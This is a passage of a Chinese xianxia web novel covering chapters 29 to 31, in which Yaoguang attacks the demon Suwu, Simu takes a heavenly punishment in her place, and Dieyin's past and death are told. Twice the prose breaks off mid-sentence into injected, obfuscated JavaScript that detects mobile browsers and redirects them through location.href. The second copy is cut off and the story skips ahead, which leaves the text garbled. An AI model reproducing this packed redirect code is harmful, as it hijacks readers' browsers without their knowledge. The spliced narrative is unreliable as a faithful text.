刚甩完鞭的人被吼得一抖,血迹斑斑的马鞭竟掉在了地上,连忙哆哆嗦嗦地捡了起来,紧闭上眼使尽全力一鞭,痛得徐妈妈嚎叫连连。 “啊!!” 紧接着,那人又狠狠往姽婳尸身上甩,给那残破不堪的衣衫又添加了一道裂痕。 秦威站在一旁监督着,脸上的交错的伤痕狰狞无比,使他看起来更加面目可憎, 瑶光隐在人群中,目睹那一鞭又一鞭下去,眼眶顿时湿润,心中怒火如烈焰般熊熊燃烧。她紧握双拳,尖锐的指甲掐进掌心,鲜血缓缓流出,腥甜的味道也在口中蔓延。 这时,一双冰冷的手轻柔地掰开了她双手,一点一点地为她擦拭血痕。柔光照在司幕冷清的脸庞上,他一双凤眼染上了一层温柔的润,似乎要将瑶光心中痛楚抚平。 他轻声道:“别伤着自己。” 瑶光喉咙发干,略微沙哑的嗓音带着轻颤,深恶痛绝地说:“秦威和宿无必须死!” 无论是为了三生城,为了无辜而死之人,还是眼前遭受折磨的徐妈妈和已经离世的姽婳,他们都必须付出代价! 随后赶上的青稚和季伶也想出一份力。 “我去救她们!” “我也去!” 身后,季昀之拉住她的衣衫,脸上是她从来没见过的担忧之色。他问道:“要是天罚,你怎么办?” 瑶光从法袋中抽出诛恶剑,一抹寒光闪在眼前,她意气风发:“相信我。” 季昀之犹豫不决,而司幕则轻声细言:“好,我帮你。” 话音一落,五个身影从人群中腾空而起,个个身姿卓越,在明月之下,犹如神祗降世。 “有刺客!护驾!!” “护驾!!!” 众观客四处逃散,侍卫们紧密地围在宣阳王爷及王妃他们面前护送他们离开,整个前院顿时乱成一团。 “终于来了!”宿无手握茶杯,一脸桀骜不驯的模样。 然而当他看到司幕时,心中不由一震,但事到如今已经无法挽回,他大声喊道:“天罗地网!” 随之,一张巨大的网从天而降,前院四处都有无数的魔兵魔将翻檐而来,为首的是一身白纱的蝶隐。 秦威诧异,这阵法是什么时候准备的?!随后恍然大悟不禁恼怒,原来之前瞒住他的事情是这个,他们这是在将自己排在计划外了。 瑶光起初试图用剑,蓄集神力一劈,可那网却依旧坚韧无比。 宿无嗤笑:“此乃魔族秘宝——天罗网,专门为你们神仙二族所造,一般神兵利器是不可能突破的。” 闻言,瑶光与司幕丝毫不惧,首当其冲,一黄一蓝持剑而上,身若蛟龙灵活地躲过天罗网的束缚,直取宿无。 “走!” 季昀之凝神施法,顶住即将要将他们围困的天罗网。季伶迅速呼唤鸦群,让它们飞扑四周冲上来的侍卫,与青稚同时前去救人。 看着眼前了无生气的姽婳,青稚既心疼又怜惜,脱口而出:“沅儿妹妹......” 季伶救下徐妈妈的身影一怔,随即欲想将徐妈妈推给青稚,“让我来罢。” “我来。”青稚抿紧嘴唇,深吸一口气,仿佛在克服内心的恐惧般将姽婳的尸体抱起,释怀一笑:“是时候前进了。” 季伶一愣,周围的声音变得模糊,他的眼里此刻似乎只有青稚的笑容。 见季伶不为所动,青稚拍了他一下他的肩,喊道:“走!” “嗯!”季伶忙应道。 他们像是回到了从前一般,默契配合,逃出天罗网。 29. 玉坠花落蝶留痕(五) “你去罢,我留下来拦截他们。” 说罢,司幕毅然决然地站在瑶光身后,眼中光芒流转,他使手势隔空提起巨网,将其反向朝他们身后的魔兵魔将扑去,惹得他们只能纷纷后退躲开。 魔族除了修为造诣高超的,皆是些头脑单一的魔怪,又见司幕如此挑衅,哪里还顾得上什么阵法,纷纷怒吼着冲向他。 然而,它们明显没有意识到,他们的选择会给他们带来怎么样惨烈的后果。 司幕将大部分战力引至他处,随即被上千魔兵魔将团团围住,不远处还有妖兵们潜伏在屋檐上,用弓箭伏击,他不得不以一敌千。但,他可是司幕啊。 只见他轻松地挥舞着手中夺来的剑,抬手之间,数十名魔将同时被腰斩,其切处干净利落,甚至来不及感受到疼痛就已经毙命。 这如书生般羸弱的男子,是如何有这等骇人的力量?! 众魔兵魔将吃惊于司幕的战力,但魔族又岂有惧意,高举手中大刀一拥而上。而妖兵们欲争先恐后地从屋檐上射箭,万箭齐发,试图让司幕分心。 司幕环视着面前的妖兵魔将,如同在看一群跳梁小丑,不禁莞尔一笑。他笑起来分外温柔,可眼中却是沉寂许久的嗜血无情。 他轻声道:“你们这是在玩闹些什么?” 面对四面楚歌的局面,司幕的面容依然平静,如冷风般在箭间穿梭,所到之处,魔将皆面容扭曲地倒下,不带一滴血迹沾染在其衣衫上。 转瞬之间,他又将箭雨掌控,反向朝着屋檐上的众多妖兵射去。在他们惊恐的目光中,个个一箭封喉。 上弦月被鲜血染红,冷幽幽地挂在天边,司幕站在成百上千的魔族堆起的尸山上,映得他宛如来自血煞地狱的恶鬼。 宿无近在咫尺,瑶光再也压抑不住心中的怒火,手中利剑散发着凛冽的寒光,直逼宿无而去。 突然,秦威出现在她面前,一拳震开了瑶光迎面而来的利剑,迫使她不得不步步后退。 虽然宿无对自己有隐瞒,但只要求升官进爵的秦威根本不在乎他的这些猜疑,他依旧上前挡在宿无面前护住他。 经过几番交手,瑶光注意到秦威防御时总是双手同时阻挡攻势,这也导致了他的要害暴露在外,如果在他反应过来之前再加上一击,秦威必然会受重伤。 瑶光眼神一凝,突然转变身法,换成左手握剑。只见她左手使了个剑花,看似铿锵有力,但实则虚晃一枪。 剑袭来时,真如瑶光观察的分毫不差,秦威果真用双手挡住。还处于防守状态的秦威还未来得及做出反击,怎料一掌从他盲点处以迅雷不及掩耳之势击来,打得他一个措手不及。 瑶光使出全力的一掌,狠狠击中秦威的腹部,瞬间重创了他。 “秦威就留给青稚和季伶去收拾,而你,必须死在我手上!”一脚踹开吐血不止、已无还手之力的秦威,瑶光一路畅通无阻地来到宿无面前,剑锋直指他:“宿无,你罪恶滔天,死不足惜!若我能杀你,天罚又何惧之有!” 宿无神情依旧惬意,丝毫不慌,竟还吹起了口哨。 口哨声急促尖锐,所有逃离的宾客突然似乎被某种力量控制,纷纷朝着宿无所在处奔去,陆续扑向瑶光,仿佛想要保护宿无。 怎么会这样?这些宾客明明已经快要逃出去了,为什么又会回来? 瑶光不能伤人,只能一直回避躲闪,但渐渐地人越来越多,她躲得越来越力不从心,也给了宿无趁虚而入的机会。 “哈哈哈哈哈,我早就料到你们神族不能伤人,这圈套就是为你准备的。”看到瑶光狼狈的模样,宿无笑道:“如果你投降,我还能给你一个体面的死法。” “是吗?”瑶光挑眉,“那就看看谁笑到最后吧。” “阵起!” 瑶光一声清喝,宿无脚下瞬间升起无数金色锁链,将他紧紧束缚,动弹不得。周围更是一道屏障般的结界浮现,将宿无隔绝开来,除了瑶光,无人可以靠近。 瑶光看着他,目光炯炯:“我也早有准备。” 这衣衫有问题!宿无猛地看向一旁护着红榴的绿梨,与她的满是憎恨的目光对上。 “你背叛我?!”宿无怒吼道,气息变得急促而粗重。 “招安?”宿无回忆起往事。他曾是原先宣阳世子的贴身侍从,却因发现世子魔髓的秘密,告发宣阳王,结果被自己赐死送去喂魔将。 “你不是今早问我为何至今还未嫁娶吗?因为我已经与招安私定终身了,今生唯他不嫁!是你毁了我的一切!” “绿梨姐姐,你说哥哥是被世子害死的?”一旁的红榴不敢置信地看着他们。 绿梨别开眼,不忍心地回道:“他早已不是世子,世子已经死了。他是魔族左使宿无。” 宿无额头青筋凸起,怒火中烧,他凝视着一名魔将,以魔识控制它杀向绿梨! 一把巨大的刀向绿梨挥去,她紧紧护着红榴,无法躲避,然而刀锋却迟迟未落。她抬头一看,惊讶地发现招四正站在她面前,挡住了那名魔将的攻击。 招四艰难地说:“快走!我撑不住了......” “招四......”绿梨的眼中充满了复杂的情绪。 “走......” 最终她还是咬紧牙关,拉着红榴快步逃开。 宿无的眼神变得阴冷无情:“你也背叛我,不会有好下场......” 就在此时,招四一个翻身,堪堪躲过那名魔将的攻击,但却被一名妖兵的利箭射穿了喉咙。 * “大人!” 蝶隐一直在留意宿无那边的情况,心急如焚,恨不得马上飞到宿无身边保护他。就在她准备过去帮宿无时,一只乌鸦朝她急速撞去,撞得她一个措手不及。 “你的对手是我们!”季伶的声音随之响起。 蝶隐腰间银光映入青稚的眼帘,他看清那是皎月刀后,心中顿时一喜。遵循司幕之前所教导,忍着右臂的疼痛,他凝神一勾,皎月刀竟然自动脱离束缚,飞回到了青稚的手中。 细细抚摸着失而复得的皎月刀,青稚自信满满,御物术愈发得心应手,“原来我的皎月刀在你身上。” “青稚,你什么时候学会的御物术?”季伶诧异地看着青稚,犹记得在他被抓之前,他可是仍对御物术一窍不通。 青稚得意地回道:“这几日,我跟司幕公子学的。” 司幕?季伶手中动作猛地一滞。 他会御物术? 而且再怎么样,御物术又怎会是如此轻易就被掌握的呢? 蝶隐见状,欲化作银蝶飞走。眼疾手快的青稚以神御皎月刀飞向蝶隐,迫使她退回原处。 见季伶还在愣神,青稚忙唤他:“季伶!你今日怎么总在发呆,快帮我拦住她!” 季伶回过神来,压制住心中的疑虑,专心应战。 此刻,蝶隐正被季伶的鸦群困住,一旁的青稚更是利用皎月刀紧紧逼近丝毫不退让,一时之间她无法脱身。她因分心渐渐招架不住季伶和青稚的的默契配合,狼狈间,她伸手朝天蓄力朝地上一击,瞬间她身边困住她的鸦群被震灭。 好不容易能有刻间的喘息,蝶隐眉头紧皱,朝没完没了地进攻的青雉和季伶道:“一旦神仙伤到凡人可是要受天罚的,难道你们就不担心你们那位大人吗?” “你还是先担心你自己罢。”青稚嗤之以鼻,手中皎月刀如蛟龙出海,直冲蝶隐命门,“休想阻碍我师傅!” 御刀的间隙,青稚看向季伶,季伶心领神会地朝他点头。目光交汇间,无声的默契在两人之间传递。 他们相信瑶光,所以绝不能让蝶隐离开给瑶光造成麻烦。 只见,季伶双手交叉于胸前,冥思施法,召唤鸦群掩护配合青稚攻击蝶隐,一只只眼睛通红的乌鸦从四面八方朝蝶隐飞去。青稚接着鸦群的掩护,退至一处,口中念念有词,以神御刀,皎月刀在黑夜与鸦群中如银光乍现,锲而不舍地击向蝶隐。 另一边,瑶光手握长剑,势如破竹,伴随着绿梨暗下的定身咒,这一剑她势必刺中宿无。 然而,就在剑尖即将触碰到宿无胸膛之时,他却出乎意料地向前一步,竟徒手握住剑身,鲜血顺着他的手掌流淌。诡异的是,他风雅至极的眉眼弯如月,嘴角更是露出毫不掩饰的嘲讽。 瑶光报仇心切,想要将剑刺入宿无胸膛,却发现剑被宿无紧紧握住,动弹不得。 突然间,金光乍现,一道天雷犹如奔雷般劈下,直冲瑶光而来。 这突如其来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027493|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动魄惊心的一幕直冲司幕眼中,他瞳孔紧缩,头痛欲裂,逝去的回忆如同潮水般涌入他的脑海,让他忘记了呼吸。 正在安置徐妈妈为她疗伤的季昀之,也从未曾亲眼见过天罚,为瑶光心头一紧。 他来不及思索,下意识将自己手掌划开一刀,用鲜血成阵。顿时,瑶光上方出现了一朵莲花,与之前在司府见到的并蒂莲无异,神圣洁白。 天罚,分三道天雷。第一道使受者浑身麻痹,一旦被集中无法逃脱。第二道使受者以躯受雷,承受雷劈千倍之痛。第三道洗涤受者身灵,承受神与仙涤骨之痛。 每一道天雷与瑶光那不周山化神之痛相比,皆有过之而无不及。 第一道天雷如怒龙般从天而降,瑶光被困其中,无处可逃。莲花阵勉强抵挡了片刻,却终归无法承受那强大的神力,轰然破碎。 季昀之猛地吐出一口鲜血,摇摇欲坠。莲花阵的花瓣散落在瑶光身边,幽香阵阵。 饶是瑶光已做好心理准备,当那余威未消的天雷劈中她时,她仍然痛彻心扉。她像一条脱水的鱼,脸色苍白,冷汗直流,仿佛下一刻便会倒下。 她强忍着站起身,手紧紧握住剑把,再深一点,再深一点,宿无便无力回天。 “啊!!!!!” 可惜,下一道天雷完全不给她喘息的机会。 只见又一道天雷毫不留情地降临瑶光像被重锤击中,承受着千倍的痛苦,终于支撑不住,反手将剑插入地下,猛地双膝跪下,恨不得立马死去。 “什么神!什么仙!还不是被条条框框困住的蝼蚁!” 宿无的嘲笑声如毒蛇钻入众人耳中,“哈哈哈哈哈,连想杀的人都杀不到,你们连妖魔都不如!” 几乎昏厥的瑶光完全听不清宿无的叫嚣,凭着意志紧握手中剑支撑着自己不能倒下。她知道,天罚不可能在短时间内再次降临,只要能够挺过这一次天罚,她就有机会将宿无置于死地。 但从未有人能够在天罚之后还能站起,尤其是在在承受第三道天雷之后。 就在她思考间,最后一道天雷轰然落下。她闭上眼睛,等待着剧痛的降临。 然而,预料中的疼痛却没有出现。 她缓缓睁开眼,地上鲜血一滴一滴从上而落,一个身影映着笼罩着她,她愣了神。缓缓抬头一看,眼泪随即夺眶而出,仿佛空气都在这一刻凝固了。 “我说过,我会帮你。”他声音是如以往不同的沙哑,仿佛羽毛清扫而过,低沉酥麻。 司幕站在她面前,脸上是如以往一样的清冷淡然,但他的身体却在微微颤抖。他握紧拳头,试图隐藏这种不易察觉的颤动。尽管他在强撑着微笑,但苍白如雪的脸色,以及嘴角缓缓流淌着的血痕,无一不在透露着强烈的痛苦。 更何况,他的背后还有一支穿过肩骨的利箭!瑶光看着他假装镇定的样子,心想,他一定痛吧? 好像曾经也有人如此替她挡过天罚。 这最后一道天雷是威力最大的,也持续了最久的时间。瑶光仿佛经历了数百年,漫长到司幕的血滴在她裙摆上晕染开,将她整个裙脚染红。 终于,天罚散去了。 司幕像是抽取了所有力气,单膝跪地。他那深不见底的双眼,如盈盈琉璃般望着瑶光。 他说:“我知道你还有力气,去吧。” 瑶光望着眼前奄奄一息的司幕,口舌竟然干涩难言。她说:“好。” 她咬紧牙关,用剑支撑着身体,缓缓站起身。再抬起头时,她已眼神笃定地望向早已挣脱阵法,在不停撤退的宿无。一步一步走的虽然慢却极有力量,长剑在地上划出长长的痕迹,刺耳的声音如催命符般响彻整个王府。 宿无完全没有料到司幕会挡下最后一道天雷,看着来势汹汹的瑶光,漫天的杀气几乎要将他淹没。他手忙脚乱地想要将身边的人作为人质,但从天罚那刻起,大家早已从咒术中清醒,惊慌逃窜。 一不小心,宿无被台阶绊倒在地,此时的他衣衫凌乱,狼狈不堪,如街边乞儿。 他的目光瞬间变得阴冷,他痛恨,他痛恨现在没有魔力,像瓦片一样易碎的自己。 若他还是数百年前那个令人闻风丧胆的魔族左使,绝不会有人能轻易将他逼至如此境地! 30. 玉坠花落蝶留痕(六) 瑶光正欲一剑毫不留情地斩下,然而,宿无周围似乎有一道神秘的结界挡在他面前。那结界之中,一颗清澈透明的银蝶灵珠闪烁着微光。 这是,这是蝶隐的妖丹!! 宿无的瞳孔紧缩,难以置信地朝着蝶隐的方向望去,只见她已因失去妖丹而濒临死亡。对视之下,蝶隐最后温柔的目光投向宿无,她眼角的疤痕形如蝴蝶,展翅欲飞,仿佛在诉说着最后的眷恋。 下一刻,密密麻麻的鸦群将她团团围住,不留一丝缝隙。 蝶隐自出生以来,就是众多蝴蝶妖中地位最低下的,因为别人都是彩蝶,而她只是一只银蝶。蝶族以颜色来划分血统的高低,翅膀颜色越鲜艳在蝶族中的地位便越高,其中以罕见的蓝蝶,如南海梦蝶为最高等。 因为血统低微,她花了比别的蝶族多了数倍的修炼才得以幻化成人形。虽是小孩模样,但她手若柔荑,肤如凝脂,唇红齿白,再加上一双杏仁般的大眼睛,简直就是个活脱脱的稀世美人。 那年起,地位最低微的蝶隐却是蝶族百年来长得最貌美的少女。 采完花露的她因刚幻成人形,正准备兴高采烈地回家告诉她姐姐这个喜讯,途中却遇到了一群蝶族少年少女。其中一少年头戴鎏金发冠,身穿金线暗纹长衫,一看便是蝶族中血统仅次于蓝蝶的流金蝶。 她的美丽让遇见她的那少年不由得心生爱慕。 眼看天空乌云袭来,林里湿气变重,少年高举手中收获颇丰的花蜜,向小蝶隐邀请道:“天快要下雨了,小银蝶,要不要一起去流金蝶处品尝流金花蜜?” “蝶泽少主果然只会对美女另眼相看,刚刚蝶觅求了少主半天,少主也不愿带她走近流金蝶处一步。” 这话让一旁的瑶粉蝶少主蝶觅心生嫉妒,她不屑道:“好看又如何,还不是低贱的银蝶妖。” 小蝶隐瞟了蝶觅一眼,没有反驳,也不想回应,打算绕过他们而行。 瑶粉蝶少主蝶觅又道::“哟,还敢无视蝶泽,脾气还真大。” 一向娇生惯养的少年何曾受过这般无视,他气急败坏,顺着少女的话嘲讽道:“低贱的银蝶,你敢无视我?!” 说罢,少年一个箭步上前,扬手便要对她扇去一记耳光。 小蝶隐见状连忙后退,虽躲过了耳光,却被地上的石头绊了一跤,身子向后仰,无情地摔倒在泥土里,怀中的花蜜篮子滚落在一旁。 众人哄堂大笑,对浑身泥泞的她幸灾乐祸,而她却看向不远处完好无损的花蜜,暗自松了一口气。 隐约地,她似乎听到了声响,看到不远处一草丛中有一黑影若隐若现。. 不远处的声响也惊动了妖力本就胜过蝶隐的其他人,随着天色渐晚,他们担忧可能会有其他野兽出现,纷纷督促着少年快点离开。 许久,见少年愣在原地不动,眼神游离,他们只好拉着少年向林外走。 拉拉扯扯间,少年看着自己伸出的手,又看了一眼地上略显狼狈的小蝶隐,陷入沉思。他一开始并没有想打她的意思,只是......只是...... 走在最后的是那刚刚那名不屑于小蝶隐的少女,她心生恶念,毫不犹豫地拾起了蝶隐落在地上的花蜜篮子一同带走。 没有了花蜜,就意味着没有粮食。小蝶隐想起家中卧病在床的姐姐,看了看已经乌云密布的天空,急忙站起身,拍了拍身上的泥土,匆匆往采蜜处走去。 突然,雨势变大了,小蝶隐已经来不及回家,怕怀中花蜜被淋坏,于是她匆忙寻找一处山洞避雨。 山洞外电闪雷鸣,山洞里漆黑一片,让怕黑的小蝶隐不禁紧紧地抱着自己,警觉地环顾四周。 忽然,山洞内似是有声响,小蝶隐连忙悄无声息地朝洞口挪动几步。 为了给自己壮胆,她一边挪动,一边唱着:“蝴蝶飞,蝴蝶飞,双双比肩去赴会。穿花拈草春花下,不知人间心酸味......” “喂......好吵......” 隐约中,小蝶隐听到有人在说话,小心翼翼地看了看周围,却并没有发现任何东西。与此同时,洞内一阵阴风吹过,吓得小蝶隐连忙接着唱:“不知人间心酸味......豆蔻开柳叶翠,园中桃李争芳......” “闭嘴!” 一团黑影突然映入眼帘,黑影身上黑雾冉冉而起,不停的翻滚,似是在表达着他现在的愤怒。 小蝶隐没有被吓到,反而好奇地问:“你是魔族?” “没错,我就是强大的魔族。”说着,黑影露出像是手一样的黑雾团放于自己顶部,做出恐怖的鬼脸模样。 尽管面前的黑影不断变幻,但因为没有实感,小蝶隐反倒被逗得噗呲一笑。 黑影误以为蝶隐是在嘲笑自己,便故作凶恶地威胁道:“你敢笑我?我要吃了你!” 小蝶隐笑得更欢了。 她问:“魔族不是不可以进入其他种族的领地的吗?” “谁说的,只要心中有恶,就有魔在。” 小蝶隐年幼无知地摇摇头,“不懂。” 黑影伸出一个小雾团晃了晃,漫不经心道:“你不用懂啦,反正你知道我会成为魔族最厉害的人就行!”说着,黑影在小蝶隐身上像是闻到了什么,情不自禁地朝她凑过去,“你身上有好吃的味道——” 小蝶隐只觉黑影向她靠近,仿佛一只好奇的狗狗在陌生人身上嗅了嗅,他说:“——是恶的味道。” 黑影诧异地问:“喂,你被人欺负了?”那蝶妖身上有恶的味道,应当是有人对她作恶了。 小蝶隐摇了摇头,“没有人欺负我。” “没有人欺负你,那你为什么独自一人在这里?” “我只是躲雨而已.......” “她们是不是觉得你好看,所以妒忌你,欺负你啦?” “没有人欺负我......” 小蝶隐睁大杏眼,看着黑影,心生疑惑。看来让人闻风丧胆的魔族,也只是话痨罢了。 “你别管她们,她们不跟你玩那你跟我玩呗。”黑影不管小蝶隐同意与否,还是一副傲慢的态度:“我叫宿无。” 小蝶隐单纯地笑了:“宿无?因为无家可归吗?” “喂。”宿无反驳道:“你看起来就像是没有修为、没有地位的妖,恐怕连名字都没有吧?” 小蝶隐淡然道:“嗯,我是最低贱的银蝶族,还不配有姓名。” 意识到自己说错了话的宿无嘟囔道:“小银蝶,以后都跟我玩吧。” “好。” 宿无成为了小蝶隐的第一个朋友。 就因为宿无这么一句话,小蝶隐每当晨起采蜜结束后便匆匆跑往山洞找他。虽然很多时候,宿无只是默默地依偎在小蝶隐的脖间,像一只小狗般,无所事事地闻着她身上的气息而已。 蝶隐虽因血脉低微,天赋平庸,但她勤于修炼,渐渐地成长为一位亭亭玉立的少女。而宿无却依然是那一团黑影,只不过膨胀了一些。 这天,蝶隐听说最近族里不太平,许多出门采蜜的蝶妖都神秘失踪,她见家里花蜜也够撑几日,便不打算出门。 然而,她因瘫痪卧病在床的姐姐,却半躺在床上吃着新鲜的花蜜,还一直不停地催促着蝶隐去采蜜。 她说:“新鲜的花蜜才好吃。” “好。”蝶隐垂眸,随口答道,出门了。 怎料她刚一出门,就遇到了难得来银蝶族所在的流金蝶们。这些高贵的蝶族一向自视矜贵,怎会屈尊纡贵到银蝶族所在,像贫民区一样的破烂地儿。 为首的蝶泽看到蝶隐正要出门,担忧地走上前,道:“小银蝶,最近族里出事了,你小心些。要不我陪你去采蜜罢?” 蝶隐摇了摇头,说:“没关系,我自己去。” 习惯了被蝶隐拒绝的蝶泽垂下眼眸,抿紧下唇,也不再多说,朝她点了点头便转头带着流金蝶妖们往别的地方去巡查。 “宿无?宿无你在哪?” 采蜜结束后,蝶隐照常到山洞去找宿无,可却不见宿无如往常般在洞口等着她。 “乓啷!” 一阵巨响从洞内传来,她不确定地问了一声:“宿无是你吗?” 片刻,洞内传来她的回声。 尽管宿无一直警告她不要进入洞内,但这一次,她想起近日里族内的异样,对宿无的安危担忧过甚,决定壮起胆子进入山洞。慢慢地,她被一石门挡住了去路,正犹豫不前时,洞内的声音却愈发剧烈。 这次她听清楚了——是野兽啃食的声音! “宿无!” 心急如焚的蝶隐立马施展法术,击碎石门,冲入山洞,但眼前所见却让她目瞪口呆。一只赤面獠牙,面目可憎的魔物正凶恶地凝视着她,周围鲜血淋漓,手上还握着一截蝶妖的尸体。 魔物见到她,神情竟有些惊慌,匆忙丢下手中的食物,躲到石壁后。 惊魂未定的蝶隐忽然意识到,那只魔物可能就是宿无,怕不是他这些日子吃蝶妖生出魔躯了。于是,她试探地靠近石壁,轻声呼唤:“宿无?” “宿无?是我,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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新婚之夜,蝶隐以要陪蝶泽去观赏圣泉的借口,趁人不备,将药粉倾入圣泉。一转头,她却发现蝶泽早已清醒,他静静地注视着她,月光柔和地映照在他温润的脸上,仿佛是倾注了所有的柔情。 蝶隐垂眸,问:“你要告发我吗?我要离开了。” 蝶泽摇了摇头,缓慢地开口:“你能当我片刻的新娘,已是我弥留之际最后的愿望了。” 接着,他又继续道:“当年,对不起。我并非故意想打你的。” 蝶隐道:“我从来没有怪过你。” 蝶泽小心翼翼地又问道:“那么,你嫁了我之后,你就是身份尊贵的蝶妖了,我可以为你取名吗?” “可以。” “叫蝶隐,可好?” “好。” 蝶泽心满意足地笑了,但下一秒,他被一只魔物的手掌拍碎,只剩血肉模糊一团。那魔物虽有几分像宿无,但并非是他。 “有人破坏了圣泉!结界破了,魔族进来了!” “快跑啊!!!!” “救命!!” 蝶隐猛然回头,原本喜气洋洋的流金蝶处如今火光冲天,兵器相碰声、火烧滋啦声、绝望的哭喊声交织在一起,宛如人间炼狱。蝶族们四散奔逃。包括她那本来应该瘫痪不能动弹的姐姐,也正向她跑来。 看着姐姐奔跑的身影,蝶隐毫无波澜,鬼使神差之下,取下自己的发簪,狠狠地刺向了她。 就在此时,宿无赶到了,他说:“小银蝶,我来带你走了。” 抱着姐姐渐渐冰冷的尸体,蝶隐笑了。 她说:“我不是小银蝶,我有名字了,我叫蝶隐。” 在往事如烟的岁月里,蝶隐逐渐明悟,宿无当初并非因为钟情于她才要她留在身边,他只是喜欢当初环绕在她身边的恶,因为这种恶有助于他修炼。随着时间的推移,宿无的魔躯已经趋于完美,简单的恶念已无法满足他的胃口,于是他开始吞噬妖丹,以此提升魔力。他甚至策划了蝶泽与她成亲一事,让她与魔族里应外合,展开了一场灭族之战。 宿无灭了她全族,但她不恼,也不恨,反而甘愿追随他入魔。他生时,她与他并肩作战,随他征战四方;他死时,她潜入蚀骨弱水,历经百年艰辛,终于寻回他的魔髓,使他得以重生。 小时候有那个看不清模样的黑影一直陪伴着她,而她自那之后也一直陪伴着那个黑影,直到伴他成为魔族左使,手握大权,完成大业。 本就对世间无所依的她,默默看向宿无,脑海中的人影与眼前的宿无重合。只见她口中呢喃,却听不清在述说些什么。 鸦群飞散,只剩一片静谧,不留下一点尘埃。 宿无看着消失在眼前的身影,心如刀割,全身颤抖,他痛苦地嘶吼:“蝶隐!!!!!!” 渐渐地,他感到视线模糊,伸手抚摸着眼眶,发觉指尖湿润。 他笑了,笑得极其凄凉。 31. 玉坠花落蝶留痕(七) 看到这一幕,一旁受伤倒地的秦威也为之惊讶,未曾料到蝶隐为了救宿无竟将妖丹送出,要知道,妖丹一离体,与等死无疑。 不过,转头一想,秦威意识到蝶隐已死,若他此番能救得宿无,那岂不是立功的机会,他就可以代替蝶隐了。利欲熏心的秦威右手扶腹,强忍着剧痛,迈步上前,挡在宿无身前,背对着他殷勤道:“大人,你先走,我可以......” 然而,秦威的话还没说完,便感觉胸口一阵剧痛。他低头望去,只见一只染血的手臂贯穿了自己的胸膛,而那只手正死死地握着他的妖丹。 他身后的宿无脸上笼罩着阴霾。 真是应了他之前所说,他不会死在小角色手上。 宿无当胸一脚,将死去的秦威狠狠地踹向瑶光。瑶光措不及防地后退几步,侧身躲开,那尸体径直滚下台阶。 此时,宿无沾满鲜血的手高举着蝶隐和秦威的妖丹,在瑶光与众人的目光注视下将它们吞噬。妖丹一入宿无体内,尝到了腥甜的他犹如鬼罗刹,以魔髓为核,以妖丹作辅,以鲜血起术,闭目凝思,口中念念有词。 当他再次睁开眼时,他的双眼中突然出现了双瞳,眸中血红一片,散发出嗜血的光芒。他的神情变得冷血而决绝,仿佛要将眼前的众人碾成碎片。 只听他怒喝道:“魔遡门,开!” 顷刻间,无数恶念从四面八方汇聚而来,全都凝聚在宿无周围,形成一股骇人的龙卷风。慢慢地,在风眼中的宿无开始发生异变,他的皮肤变得青紫,龇牙血瞳,肌肉虬结,獠牙毕露,最终化为一只如山岳一般的巨大魔物。他的双手冒出狼般的利爪,锋利无比,似乎轻轻一挥便能将天空撕裂一道裂缝,带来的压迫感令人窒息。 远处,将宿无的变化看得一清二楚的青稚,大惊失色,“季伶,这是怎么回事?!” “我也不清楚……” 话音未落,宿无突然毫无征兆地出现在他们面前,其速度之快犹如闪电,没有留下任何虚影。 “这是宿无的真身!他强开魔遡门,突破凡躯的禁锢!现在的他比他全盛时期还要强上数倍!”季昀之脸色煞白,连忙喊道:“季伶、青稚,快逃!” 可他还是慢了一步,此时季伶和青稚二人就已像扯线木偶一样,被宿无生生抓起到半空,然后被头朝地面扔下。季昀之迅速反应,连忙跃身扑上,试图接住他们,却被宿无从身后狠狠一踢,犹如流星般坠落至远处的庭院,直接砸穿一栋楼阁。 那处瞬间分崩离析,尘土纷飞。 瑶光心头一紧,急道:“昀之仙君!” 尘土散尽,废墟中,一朵莲花正含苞待放,立于其中。慢慢地,那莲花绽放,缓缓将里面的人露了出来。季伶与青稚已昏死过去,剩下季昀之脸色苍白,摇摇欲坠地站立着。 宿无见他们无恙,仰天长啸,发出野兽般的嘶吼。他紧绷的肌肉如弓弦一般,随时准备释放出他所有的愤怒与不满。欲想再次攻击他们,他急速地冲向那莲花所在之处。 瑶光试图转移他的注意力,大声呼喊:“宿无!我在这,你不是要杀我吗?!” 怒火中烧的宿无充耳不闻,眼里只有青稚与季伶。 宿无杀气腾腾地向他们扑来,季昀之立刻将莲花合上,成功抵挡了他的冲击。可宿无却像是失了智一样,利爪疯狂往莲花上乱抓,硬生生地在花瓣上化出一道又一道裂缝。 一下,一下,又一下,莲花的花瓣上布满了裂痕,季昀之的嘴角开始渗出鲜血。 眼见着宿无要扒开莲瓣,几乎半个身躯都要挤进莲花里,瑶光抬手御剑,一抹银光如虹直刺宿无后背,却被宿无一挥之间甩开,飞向数里之外。 瑶光眉头紧皱,脚向地面猛力一踏,身子轻盈地一跃,调动心神,将诛恶剑召回。剑在她身后又幻化成千百把剑,形成剑雨袭向宿无,可却都被一一弹开,就连诛恶剑真身竟也断成两截。 不难看出,此时宿无的魔躯坚不可摧,刀枪不入,就连神兵利器在他面前,也如同破铜烂铁。 宿无一爪拍去,莲花又被划开一道裂痕,这对已经受了伤的季昀之来说,简直就是雪上加霜。他衣衫已被汗水浸湿,双手颤抖不止,牙关咬得嘎嘎作响,他已经快要支撑不住了…… 眼见季昀之渐渐虚弱,瑶光别无他法,穿过缝隙,飞入莲花内,施法助他维持法阵,莲花阵瞬间修复了些许。 瑶光一边助阵,一边着急道:“我的法器对它无用。” 季昀之的嘴唇抿成了一条僵硬的线,“魔躯已成,他已是金刚不败之身,如今很难再害到他了。” 瑶光眼中闪过一丝灵光,“金刚不败?那若是有鬼族帮忙是不是就可以了。” “鬼族?”季昀之的声音愈发颤抖。 